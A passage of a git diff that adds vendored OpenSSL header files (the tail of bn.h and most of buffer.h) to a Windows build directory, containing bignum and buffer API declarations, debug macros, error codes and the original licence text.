+ int shift; + int flags; + }; + +/* Used for slow "generation" functions. */ +struct bn_gencb_st + { + unsigned int ver; /* To handle binary (in)compatibility */ + void *arg; /* callback-specific data */ + union + { + /* if(ver==1) - handles old style callbacks */ + void (*cb_1)(int, int, void *); + /* if(ver==2) - new callback style */ + int (*cb_2)(int, int, BN_GENCB *); + } cb; + }; +/* Wrapper function to make using BN_GENCB easier, */ +int BN_GENCB_call(BN_GENCB *cb, int a, int b); +/* Macro to populate a BN_GENCB structure with an "old"-style callback */ +#define BN_GENCB_set_old(gencb, callback, cb_arg) { \ + BN_GENCB *tmp_gencb = (gencb); \ + tmp_gencb->ver = 1; \ + tmp_gencb->arg = (cb_arg); \ + tmp_gencb->cb.cb_1 = (callback); } +/* Macro to populate a BN_GENCB structure with a "new"-style callback */ +#define BN_GENCB_set(gencb, callback, cb_arg) { \ + BN_GENCB *tmp_gencb = (gencb); \ + tmp_gencb->ver = 2; \ + tmp_gencb->arg = (cb_arg); \ + tmp_gencb->cb.cb_2 = (callback); } + +#define BN_prime_checks 0 /* default: select number of iterations + based on the size of the number */ + +/* number of Miller-Rabin iterations for an error rate of less than 2^-80 + * for random 'b'-bit input, b >= 100 (taken from table 4.4 in the Handbook + * of Applied Cryptography [Menezes, van Oorschot, Vanstone; CRC Press 1996]; + * original paper: Damgaard, Landrock, Pomerance: Average case error estimates + * for the strong probable prime test. -- Math. Comp. 61 (1993) 177-194) */ +#define BN_prime_checks_for_size(b) ((b) >= 1300 ? 2 : \ + (b) >= 850 ? 3 : \ + (b) >= 650 ? 4 : \ + (b) >= 550 ? 5 : \ + (b) >= 450 ? 6 : \ + (b) >= 400 ? 7 : \ + (b) >= 350 ? 8 : \ + (b) >= 300 ? 9 : \ + (b) >= 250 ? 12 : \ + (b) >= 200 ? 15 : \ + (b) >= 150 ? 18 : \ + /* b >= 100 */ 27) + +#define BN_num_bytes(a) ((BN_num_bits(a)+7)/8) + +/* Note that BN_abs_is_word didn't work reliably for w == 0 until 0.9.8 */ +#define BN_abs_is_word(a,w) ((((a)->top == 1) && ((a)->d[0] == (BN_ULONG)(w))) || \ + (((w) == 0) && ((a)->top == 0))) +#define BN_is_zero(a) ((a)->top == 0) +#define BN_is_one(a) (BN_abs_is_word((a),1) && !(a)->neg) +#define BN_is_word(a,w) (BN_abs_is_word((a),(w)) && (!(w) || !(a)->neg)) +#define BN_is_odd(a) (((a)->top > 0) && ((a)->d[0] & 1)) + +#define BN_one(a) (BN_set_word((a),1)) +#define BN_zero_ex(a) \ + do { \ + BIGNUM *_tmp_bn = (a); \ + _tmp_bn->top = 0; \ + _tmp_bn->neg = 0; \ + } while(0) +#ifdef OPENSSL_NO_DEPRECATED +#define BN_zero(a) BN_zero_ex(a) +#else +#define BN_zero(a) (BN_set_word((a),0)) +#endif + +const BIGNUM *BN_value_one(void); +char * BN_options(void); +BN_CTX *BN_CTX_new(void); +#ifndef OPENSSL_NO_DEPRECATED +void BN_CTX_init(BN_CTX *c); +#endif +void BN_CTX_free(BN_CTX *c); +void BN_CTX_start(BN_CTX *ctx); +BIGNUM *BN_CTX_get(BN_CTX *ctx); +void BN_CTX_end(BN_CTX *ctx); +int BN_rand(BIGNUM *rnd, int bits, int top,int bottom); +int BN_pseudo_rand(BIGNUM *rnd, int bits, int top,int bottom); +int BN_rand_range(BIGNUM *rnd, const BIGNUM *range); +int BN_pseudo_rand_range(BIGNUM *rnd, const BIGNUM *range); +int BN_num_bits(const BIGNUM *a); +int BN_num_bits_word(BN_ULONG); +BIGNUM *BN_new(void); +void BN_init(BIGNUM *); +void BN_clear_free(BIGNUM *a); +BIGNUM *BN_copy(BIGNUM *a, const BIGNUM *b); +void BN_swap(BIGNUM *a, BIGNUM *b); +BIGNUM *BN_bin2bn(const unsigned char *s,int len,BIGNUM *ret); +int BN_bn2bin(const BIGNUM *a, unsigned char *to); +BIGNUM *BN_mpi2bn(const unsigned char *s,int len,BIGNUM *ret); +int BN_bn2mpi(const BIGNUM *a, unsigned char *to); +int BN_sub(BIGNUM *r, const BIGNUM *a, const BIGNUM *b); +int BN_usub(BIGNUM *r, const BIGNUM *a, const BIGNUM *b); +int BN_uadd(BIGNUM *r, const BIGNUM *a, const BIGNUM *b); +int BN_add(BIGNUM *r, const BIGNUM *a, const BIGNUM *b); +int BN_mul(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, BN_CTX *ctx); +int BN_sqr(BIGNUM *r, const BIGNUM *a,BN_CTX *ctx); +/** BN_set_negative sets sign of a BIGNUM + * \param b pointer to the BIGNUM object + * \param n 0 if the BIGNUM b should be positive and a value != 0 otherwise + */ +void BN_set_negative(BIGNUM *b, int n); +/** BN_is_negative returns 1 if the BIGNUM is negative + * \param a pointer to the BIGNUM object + * \return 1 if a < 0 and 0 otherwise + */ +#define BN_is_negative(a) ((a)->neg != 0) + +int BN_div(BIGNUM *dv, BIGNUM *rem, const BIGNUM *m, const BIGNUM *d, + BN_CTX *ctx); +#define BN_mod(rem,m,d,ctx) BN_div(NULL,(rem),(m),(d),(ctx)) +int BN_nnmod(BIGNUM *r, const BIGNUM *m, const BIGNUM *d, BN_CTX *ctx); +int BN_mod_add(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, const BIGNUM *m, BN_CTX *ctx); +int BN_mod_add_quick(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, const BIGNUM *m); +int BN_mod_sub(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, const BIGNUM *m, BN_CTX *ctx); +int BN_mod_sub_quick(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, const BIGNUM *m); +int BN_mod_mul(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, + const BIGNUM *m, BN_CTX *ctx); +int BN_mod_sqr(BIGNUM *r, const BIGNUM *a, const BIGNUM *m, BN_CTX *ctx); +int BN_mod_lshift1(BIGNUM *r, const BIGNUM *a, const BIGNUM *m, BN_CTX *ctx); +int BN_mod_lshift1_quick(BIGNUM *r, const BIGNUM *a, const BIGNUM *m); +int BN_mod_lshift(BIGNUM *r, const BIGNUM *a, int n, const BIGNUM *m, BN_CTX *ctx); +int BN_mod_lshift_quick(BIGNUM *r, const BIGNUM *a, int n, const BIGNUM *m); + +BN_ULONG BN_mod_word(const BIGNUM *a, BN_ULONG w); +BN_ULONG BN_div_word(BIGNUM *a, BN_ULONG w); +int BN_mul_word(BIGNUM *a, BN_ULONG w); +int BN_add_word(BIGNUM *a, BN_ULONG w); +int BN_sub_word(BIGNUM *a, BN_ULONG w); +int BN_set_word(BIGNUM *a, BN_ULONG w); +BN_ULONG BN_get_word(const BIGNUM *a); + +int BN_cmp(const BIGNUM *a, const BIGNUM *b); +void BN_free(BIGNUM *a); +int BN_is_bit_set(const BIGNUM *a, int n); +int BN_lshift(BIGNUM *r, const BIGNUM *a, int n); +int BN_lshift1(BIGNUM *r, const BIGNUM *a); +int BN_exp(BIGNUM *r, const BIGNUM *a, const BIGNUM *p,BN_CTX *ctx); + +int BN_mod_exp(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, + const BIGNUM *m,BN_CTX *ctx); +int BN_mod_exp_mont(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, + const BIGNUM *m, BN_CTX *ctx, BN_MONT_CTX *m_ctx); +int BN_mod_exp_mont_consttime(BIGNUM *rr, const BIGNUM *a, const BIGNUM *p, + const BIGNUM *m, BN_CTX *ctx, BN_MONT_CTX *in_mont); +int BN_mod_exp_mont_word(BIGNUM *r, BN_ULONG a, const BIGNUM *p, + const BIGNUM *m, BN_CTX *ctx, BN_MONT_CTX *m_ctx); +int BN_mod_exp2_mont(BIGNUM *r, const BIGNUM *a1, const BIGNUM *p1, + const BIGNUM *a2, const BIGNUM *p2,const BIGNUM *m, + BN_CTX *ctx,BN_MONT_CTX *m_ctx); +int BN_mod_exp_simple(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, + const BIGNUM *m,BN_CTX *ctx); + +int BN_mask_bits(BIGNUM *a,int n); +#ifndef OPENSSL_NO_FP_API +int BN_print_fp(FILE *fp, const BIGNUM *a); +#endif +#ifdef HEADER_BIO_H +int BN_print(BIO *fp, const BIGNUM *a); +#else +int BN_print(void *fp, const BIGNUM *a); +#endif +int BN_reciprocal(BIGNUM *r, const BIGNUM *m, int len, BN_CTX *ctx); +int BN_rshift(BIGNUM *r, const BIGNUM *a, int n); +int BN_rshift1(BIGNUM *r, const BIGNUM *a); +void BN_clear(BIGNUM *a); +BIGNUM *BN_dup(const BIGNUM *a); +int BN_ucmp(const BIGNUM *a, const BIGNUM *b); +int BN_set_bit(BIGNUM *a, int n); +int BN_clear_bit(BIGNUM *a, int n); +char * BN_bn2hex(const BIGNUM *a); +char * BN_bn2dec(const BIGNUM *a); +int BN_hex2bn(BIGNUM **a, const char *str); +int BN_dec2bn(BIGNUM **a, const char *str); +int BN_gcd(BIGNUM *r,const BIGNUM *a,const BIGNUM *b,BN_CTX *ctx); +int BN_kronecker(const BIGNUM *a,const BIGNUM *b,BN_CTX *ctx); /* returns -2 for error */ +BIGNUM *BN_mod_inverse(BIGNUM *ret, + const BIGNUM *a, const BIGNUM *n,BN_CTX *ctx); +BIGNUM *BN_mod_sqrt(BIGNUM *ret, + const BIGNUM *a, const BIGNUM *n,BN_CTX *ctx); + +/* Deprecated versions */ +#ifndef OPENSSL_NO_DEPRECATED +BIGNUM *BN_generate_prime(BIGNUM *ret,int bits,int safe, + const BIGNUM *add, const BIGNUM *rem, + void (*callback)(int,int,void *),void *cb_arg); +int BN_is_prime(const BIGNUM *p,int nchecks, + void (*callback)(int,int,void *), + BN_CTX *ctx,void *cb_arg); +int BN_is_prime_fasttest(const BIGNUM *p,int nchecks, + void (*callback)(int,int,void *),BN_CTX *ctx,void *cb_arg, + int do_trial_division); +#endif /* !defined(OPENSSL_NO_DEPRECATED) */ + +/* Newer versions */ +int BN_generate_prime_ex(BIGNUM *ret,int bits,int safe, const BIGNUM *add, + const BIGNUM *rem, BN_GENCB *cb); +int BN_is_prime_ex(const BIGNUM *p,int nchecks, BN_CTX *ctx, BN_GENCB *cb); +int BN_is_prime_fasttest_ex(const BIGNUM *p,int nchecks, BN_CTX *ctx, + int do_trial_division, BN_GENCB *cb); + +int BN_X931_generate_Xpq(BIGNUM *Xp, BIGNUM *Xq, int nbits, BN_CTX *ctx); + +int BN_X931_derive_prime_ex(BIGNUM *p, BIGNUM *p1, BIGNUM *p2, + const BIGNUM *Xp, const BIGNUM *Xp1, const BIGNUM *Xp2, + const BIGNUM *e, BN_CTX *ctx, BN_GENCB *cb); +int BN_X931_generate_prime_ex(BIGNUM *p, BIGNUM *p1, BIGNUM *p2, + BIGNUM *Xp1, BIGNUM *Xp2, + const BIGNUM *Xp, + const BIGNUM *e, BN_CTX *ctx, + BN_GENCB *cb); + +BN_MONT_CTX *BN_MONT_CTX_new(void ); +void BN_MONT_CTX_init(BN_MONT_CTX *ctx); +int BN_mod_mul_montgomery(BIGNUM *r,const BIGNUM *a,const BIGNUM *b, + BN_MONT_CTX *mont, BN_CTX *ctx); +#define BN_to_montgomery(r,a,mont,ctx) BN_mod_mul_montgomery(\ + (r),(a),&((mont)->RR),(mont),(ctx)) +int BN_from_montgomery(BIGNUM *r,const BIGNUM *a, + BN_MONT_CTX *mont, BN_CTX *ctx); +void BN_MONT_CTX_free(BN_MONT_CTX *mont); +int BN_MONT_CTX_set(BN_MONT_CTX *mont,const BIGNUM *mod,BN_CTX *ctx); +BN_MONT_CTX *BN_MONT_CTX_copy(BN_MONT_CTX *to,BN_MONT_CTX *from); +BN_MONT_CTX *BN_MONT_CTX_set_locked(BN_MONT_CTX **pmont, int lock, + const BIGNUM *mod, BN_CTX *ctx); + +/* BN_BLINDING flags */ +#define BN_BLINDING_NO_UPDATE 0x00000001 +#define BN_BLINDING_NO_RECREATE 0x00000002 + +BN_BLINDING *BN_BLINDING_new(const BIGNUM *A, const BIGNUM *Ai, /* const */ BIGNUM *mod); +void BN_BLINDING_free(BN_BLINDING *b); +int BN_BLINDING_update(BN_BLINDING *b,BN_CTX *ctx); +int BN_BLINDING_convert(BIGNUM *n, BN_BLINDING *b, BN_CTX *ctx); +int BN_BLINDING_invert(BIGNUM *n, BN_BLINDING *b, BN_CTX *ctx); +int BN_BLINDING_convert_ex(BIGNUM *n, BIGNUM *r, BN_BLINDING *b, BN_CTX *); +int BN_BLINDING_invert_ex(BIGNUM *n, const BIGNUM *r, BN_BLINDING *b, BN_CTX *); +unsigned long BN_BLINDING_get_thread_id(const BN_BLINDING *); +void BN_BLINDING_set_thread_id(BN_BLINDING *, unsigned long); +unsigned long BN_BLINDING_get_flags(const BN_BLINDING *); +void BN_BLINDING_set_flags(BN_BLINDING *, unsigned long); +BN_BLINDING *BN_BLINDING_create_param(BN_BLINDING *b, + const BIGNUM *e, /* const */ BIGNUM *m, BN_CTX *ctx, + int (*bn_mod_exp)(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, + const BIGNUM *m, BN_CTX *ctx, BN_MONT_CTX *m_ctx), + BN_MONT_CTX *m_ctx); + +#ifndef OPENSSL_NO_DEPRECATED +void BN_set_params(int mul,int high,int low,int mont); +int BN_get_params(int which); /* 0, mul, 1 high, 2 low, 3 mont */ +#endif + +void BN_RECP_CTX_init(BN_RECP_CTX *recp); +BN_RECP_CTX *BN_RECP_CTX_new(void); +void BN_RECP_CTX_free(BN_RECP_CTX *recp); +int BN_RECP_CTX_set(BN_RECP_CTX *recp,const BIGNUM *rdiv,BN_CTX *ctx); +int BN_mod_mul_reciprocal(BIGNUM *r, const BIGNUM *x, const BIGNUM *y, + BN_RECP_CTX *recp,BN_CTX *ctx); +int BN_mod_exp_recp(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, + const BIGNUM *m, BN_CTX *ctx); +int BN_div_recp(BIGNUM *dv, BIGNUM *rem, const BIGNUM *m, + BN_RECP_CTX *recp, BN_CTX *ctx); + +/* Functions for arithmetic over binary polynomials represented by BIGNUMs. + * + * The BIGNUM::neg property of BIGNUMs representing binary polynomials is + * ignored. + * + * Note that input arguments are not const so that their bit arrays can + * be expanded to the appropriate size if needed. + */ + +int BN_GF2m_add(BIGNUM *r, const BIGNUM *a, const BIGNUM *b); /*r = a + b*/ +#define BN_GF2m_sub(r, a, b) BN_GF2m_add(r, a, b) +int BN_GF2m_mod(BIGNUM *r, const BIGNUM *a, const BIGNUM *p); /*r=a mod p*/ +int BN_GF2m_mod_mul(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, + const BIGNUM *p, BN_CTX *ctx); /* r = (a * b) mod p */ +int BN_GF2m_mod_sqr(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, + BN_CTX *ctx); /* r = (a * a) mod p */ +int BN_GF2m_mod_inv(BIGNUM *r, const BIGNUM *b, const BIGNUM *p, + BN_CTX *ctx); /* r = (1 / b) mod p */ +int BN_GF2m_mod_div(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, + const BIGNUM *p, BN_CTX *ctx); /* r = (a / b) mod p */ +int BN_GF2m_mod_exp(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, + const BIGNUM *p, BN_CTX *ctx); /* r = (a ^ b) mod p */ +int BN_GF2m_mod_sqrt(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, + BN_CTX *ctx); /* r = sqrt(a) mod p */ +int BN_GF2m_mod_solve_quad(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, + BN_CTX *ctx); /* r^2 + r = a mod p */ +#define BN_GF2m_cmp(a, b) BN_ucmp((a), (b)) +/* Some functions allow for representation of the irreducible polynomials + * as an unsigned int[], say p. The irreducible f(t) is then of the form: + * t^p[0] + t^p[1] + ... + t^p[k] + * where m = p[0] > p[1] > ... > p[k] = 0. + */ +int BN_GF2m_mod_arr(BIGNUM *r, const BIGNUM *a, const unsigned int p[]); + /* r = a mod p */ +int BN_GF2m_mod_mul_arr(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, + const unsigned int p[], BN_CTX *ctx); /* r = (a * b) mod p */ +int BN_GF2m_mod_sqr_arr(BIGNUM *r, const BIGNUM *a, const unsigned int p[], + BN_CTX *ctx); /* r = (a * a) mod p */ +int BN_GF2m_mod_inv_arr(BIGNUM *r, const BIGNUM *b, const unsigned int p[], + BN_CTX *ctx); /* r = (1 / b) mod p */ +int BN_GF2m_mod_div_arr(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, + const unsigned int p[], BN_CTX *ctx); /* r = (a / b) mod p */ +int BN_GF2m_mod_exp_arr(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, + const unsigned int p[], BN_CTX *ctx); /* r = (a ^ b) mod p */ +int BN_GF2m_mod_sqrt_arr(BIGNUM *r, const BIGNUM *a, + const unsigned int p[], BN_CTX *ctx); /* r = sqrt(a) mod p */ +int BN_GF2m_mod_solve_quad_arr(BIGNUM *r, const BIGNUM *a, + const unsigned int p[], BN_CTX *ctx); /* r^2 + r = a mod p */ +int BN_GF2m_poly2arr(const BIGNUM *a, unsigned int p[], int max); +int BN_GF2m_arr2poly(const unsigned int p[], BIGNUM *a); + +/* faster mod functions for the 'NIST primes' + * 0 <= a < p^2 */ +int BN_nist_mod_192(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, BN_CTX *ctx); +int BN_nist_mod_224(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, BN_CTX *ctx); +int BN_nist_mod_256(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, BN_CTX *ctx); +int BN_nist_mod_384(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, BN_CTX *ctx); +int BN_nist_mod_521(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, BN_CTX *ctx); + +const BIGNUM *BN_get0_nist_prime_192(void); +const BIGNUM *BN_get0_nist_prime_224(void); +const BIGNUM *BN_get0_nist_prime_256(void); +const BIGNUM *BN_get0_nist_prime_384(void); +const BIGNUM *BN_get0_nist_prime_521(void); + +/* library internal functions */ + +#define bn_expand(a,bits) ((((((bits+BN_BITS2-1))/BN_BITS2)) <= (a)->dmax)?\ + (a):bn_expand2((a),(bits+BN_BITS2-1)/BN_BITS2)) +#define bn_wexpand(a,words) (((words) <= (a)->dmax)?(a):bn_expand2((a),(words))) +BIGNUM *bn_expand2(BIGNUM *a, int words); +#ifndef OPENSSL_NO_DEPRECATED +BIGNUM *bn_dup_expand(const BIGNUM *a, int words); /* unused */ +#endif + +/* Bignum consistency macros + * There is one "API" macro, bn_fix_top(), for stripping leading zeroes from + * bignum data after direct manipulations on the data. There is also an + * "internal" macro, bn_check_top(), for verifying that there are no leading + * zeroes. Unfortunately, some auditing is required due to the fact that + * bn_fix_top() has become an overabused duct-tape because bignum data is + * occasionally passed around in an inconsistent state. So the following + * changes have been made to sort this out; + * - bn_fix_top()s implementation has been moved to bn_correct_top() + * - if BN_DEBUG isn't defined, bn_fix_top() maps to bn_correct_top(), and + * bn_check_top() is as before. + * - if BN_DEBUG *is* defined; + * - bn_check_top() tries to pollute unused words even if the bignum 'top' is + * consistent. (ed: only if BN_DEBUG_RAND is defined) + * - bn_fix_top() maps to bn_check_top() rather than "fixing" anything. + * The idea is to have debug builds flag up inconsistent bignums when they + * occur. If that occurs in a bn_fix_top(), we examine the code in question; if + * the use of bn_fix_top() was appropriate (ie. it follows directly after code + * that manipulates the bignum) it is converted to bn_correct_top(), and if it + * was not appropriate, we convert it permanently to bn_check_top() and track + * down the cause of the bug. Eventually, no internal code should be using the + * bn_fix_top() macro. External applications and libraries should try this with + * their own code too, both in terms of building against the openssl headers + * with BN_DEBUG defined *and* linking with a version of OpenSSL built with it + * defined. This not only improves external code, it provides more test + * coverage for openssl's own code. + */ + +#ifdef BN_DEBUG + +/* We only need assert() when debugging */ +#include + +#ifdef BN_DEBUG_RAND +/* To avoid "make update" cvs wars due to BN_DEBUG, use some tricks */ +#ifndef RAND_pseudo_bytes +int RAND_pseudo_bytes(unsigned char *buf,int num); +#define BN_DEBUG_TRIX +#endif +#define bn_pollute(a) \ + do { \ + const BIGNUM *_bnum1 = (a); \ + if(_bnum1->top < _bnum1->dmax) { \ + unsigned char _tmp_char; \ + /* We cast away const without the compiler knowing, any \ + * *genuinely* constant variables that aren't mutable \ + * wouldn't be constructed with top!=dmax. */ \ + BN_ULONG *_not_const; \ + memcpy(&_not_const, &_bnum1->d, sizeof(BN_ULONG*)); \ + RAND_pseudo_bytes(&_tmp_char, 1); \ + memset((unsigned char *)(_not_const + _bnum1->top), _tmp_char, \ + (_bnum1->dmax - _bnum1->top) * sizeof(BN_ULONG)); \ + } \ + } while(0) +#ifdef BN_DEBUG_TRIX +#undef RAND_pseudo_bytes +#endif +#else +#define bn_pollute(a) +#endif +#define bn_check_top(a) \ + do { \ + const BIGNUM *_bnum2 = (a); \ + if (_bnum2 != NULL) { \ + assert((_bnum2->top == 0) || \ + (_bnum2->d[_bnum2->top - 1] != 0)); \ + bn_pollute(_bnum2); \ + } \ + } while(0) + +#define bn_fix_top(a) bn_check_top(a) + +#else /* !BN_DEBUG */ + +#define bn_pollute(a) +#define bn_check_top(a) +#define bn_fix_top(a) bn_correct_top(a) + +#endif + +#define bn_correct_top(a) \ + { \ + BN_ULONG *ftl; \ + if ((a)->top > 0) \ + { \ + for (ftl= &((a)->d[(a)->top-1]); (a)->top > 0; (a)->top--) \ + if (*(ftl--)) break; \ + } \ + bn_pollute(a); \ + } + +BN_ULONG bn_mul_add_words(BN_ULONG *rp, const BN_ULONG *ap, int num, BN_ULONG w); +BN_ULONG bn_mul_words(BN_ULONG *rp, const BN_ULONG *ap, int num, BN_ULONG w); +void bn_sqr_words(BN_ULONG *rp, const BN_ULONG *ap, int num); +BN_ULONG bn_div_words(BN_ULONG h, BN_ULONG l, BN_ULONG d); +BN_ULONG bn_add_words(BN_ULONG *rp, const BN_ULONG *ap, const BN_ULONG *bp,int num); +BN_ULONG bn_sub_words(BN_ULONG *rp, const BN_ULONG *ap, const BN_ULONG *bp,int num); + +/* Primes from RFC 2409 */ +BIGNUM *get_rfc2409_prime_768(BIGNUM *bn); +BIGNUM *get_rfc2409_prime_1024(BIGNUM *bn); + +/* Primes from RFC 3526 */ +BIGNUM *get_rfc3526_prime_1536(BIGNUM *bn); +BIGNUM *get_rfc3526_prime_2048(BIGNUM *bn); +BIGNUM *get_rfc3526_prime_3072(BIGNUM *bn); +BIGNUM *get_rfc3526_prime_4096(BIGNUM *bn); +BIGNUM *get_rfc3526_prime_6144(BIGNUM *bn); +BIGNUM *get_rfc3526_prime_8192(BIGNUM *bn); + +int BN_bntest_rand(BIGNUM *rnd, int bits, int top,int bottom); + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_BN_strings(void); + +/* Error codes for the BN functions. */ + +/* Function codes. */ +#define BN_F_BNRAND 127 +#define BN_F_BN_BLINDING_CONVERT_EX 100 +#define BN_F_BN_BLINDING_CREATE_PARAM 128 +#define BN_F_BN_BLINDING_INVERT_EX 101 +#define BN_F_BN_BLINDING_NEW 102 +#define BN_F_BN_BLINDING_UPDATE 103 +#define BN_F_BN_BN2DEC 104 +#define BN_F_BN_BN2HEX 105 +#define BN_F_BN_CTX_GET 116 +#define BN_F_BN_CTX_NEW 106 +#define BN_F_BN_CTX_START 129 +#define BN_F_BN_DIV 107 +#define BN_F_BN_DIV_NO_BRANCH 138 +#define BN_F_BN_DIV_RECP 130 +#define BN_F_BN_EXP 123 +#define BN_F_BN_EXPAND2 108 +#define BN_F_BN_EXPAND_INTERNAL 120 +#define BN_F_BN_GF2M_MOD 131 +#define BN_F_BN_GF2M_MOD_EXP 132 +#define BN_F_BN_GF2M_MOD_MUL 133 +#define BN_F_BN_GF2M_MOD_SOLVE_QUAD 134 +#define BN_F_BN_GF2M_MOD_SOLVE_QUAD_ARR 135 +#define BN_F_BN_GF2M_MOD_SQR 136 +#define BN_F_BN_GF2M_MOD_SQRT 137 +#define BN_F_BN_MOD_EXP2_MONT 118 +#define BN_F_BN_MOD_EXP_MONT 109 +#define BN_F_BN_MOD_EXP_MONT_CONSTTIME 124 +#define BN_F_BN_MOD_EXP_MONT_WORD 117 +#define BN_F_BN_MOD_EXP_RECP 125 +#define BN_F_BN_MOD_EXP_SIMPLE 126 +#define BN_F_BN_MOD_INVERSE 110 +#define BN_F_BN_MOD_INVERSE_NO_BRANCH 139 +#define BN_F_BN_MOD_LSHIFT_QUICK 119 +#define BN_F_BN_MOD_MUL_RECIPROCAL 111 +#define BN_F_BN_MOD_SQRT 121 +#define BN_F_BN_MPI2BN 112 +#define BN_F_BN_NEW 113 +#define BN_F_BN_RAND 114 +#define BN_F_BN_RAND_RANGE 122 +#define BN_F_BN_USUB 115 + +/* Reason codes. */ +#define BN_R_ARG2_LT_ARG3 100 +#define BN_R_BAD_RECIPROCAL 101 +#define BN_R_BIGNUM_TOO_LONG 114 +#define BN_R_CALLED_WITH_EVEN_MODULUS 102 +#define BN_R_DIV_BY_ZERO 103 +#define BN_R_ENCODING_ERROR 104 +#define BN_R_EXPAND_ON_STATIC_BIGNUM_DATA 105 +#define BN_R_INPUT_NOT_REDUCED 110 +#define BN_R_INVALID_LENGTH 106 +#define BN_R_INVALID_RANGE 115 +#define BN_R_NOT_A_SQUARE 111 +#define BN_R_NOT_INITIALIZED 107 +#define BN_R_NO_INVERSE 108 +#define BN_R_NO_SOLUTION 116 +#define BN_R_P_IS_NOT_PRIME 112 +#define BN_R_TOO_MANY_ITERATIONS 113 +#define BN_R_TOO_MANY_TEMPORARY_VARIABLES 109 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/buffer.h b/winstuff/openssl/buffer.h new file mode 100644 index 0000000..1db9607 --- /dev/null +++ b/winstuff/openssl/buffer.h @@ -0,0 +1,118 @@ +/* crypto/buffer/buffer.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_BUFFER_H +#define HEADER_BUFFER_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +#if !defined(NO_SYS_TYPES_H) +#include +#endif + +/* Already declared in ossl_typ.h */ +/* typedef struct buf_mem_st BUF_MEM; */ + +struct buf_mem_st + { + int length; /* current number of bytes */ + char *data; + int max; /* size of buffer */ + }; + +BUF_MEM *BUF_MEM_new(void); +void BUF_MEM_free(BUF_MEM *a); +int BUF_MEM_grow(BUF_MEM *str, int len); +int BUF_MEM_grow_clean(BUF_MEM *str, int len); +char * BUF_strdup(const char *str); +char * BUF_strndup(const char *str, size_t siz); +void * BUF_memdup(const void *data, size_t siz); + +/* safe string functions */ +size_t BUF_strlcpy(char *dst,const char *src,size_t siz); +size_t BUF_strlcat(char *dst,const char *src,size_t siz); + + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_BUF_strings(void); + +/* Error codes for the BUF functions. */ + +/* Function codes. */ +#define BUF_F_BUF_MEMDUP 103 +#define BUF_F_BUF_MEM_GROW 100 +#define BUF_F_BUF_MEM_GROW_CLEAN 105 +#define BUF_F_BUF_MEM_NEW 101 +#define BUF_F_BUF_STRDUP 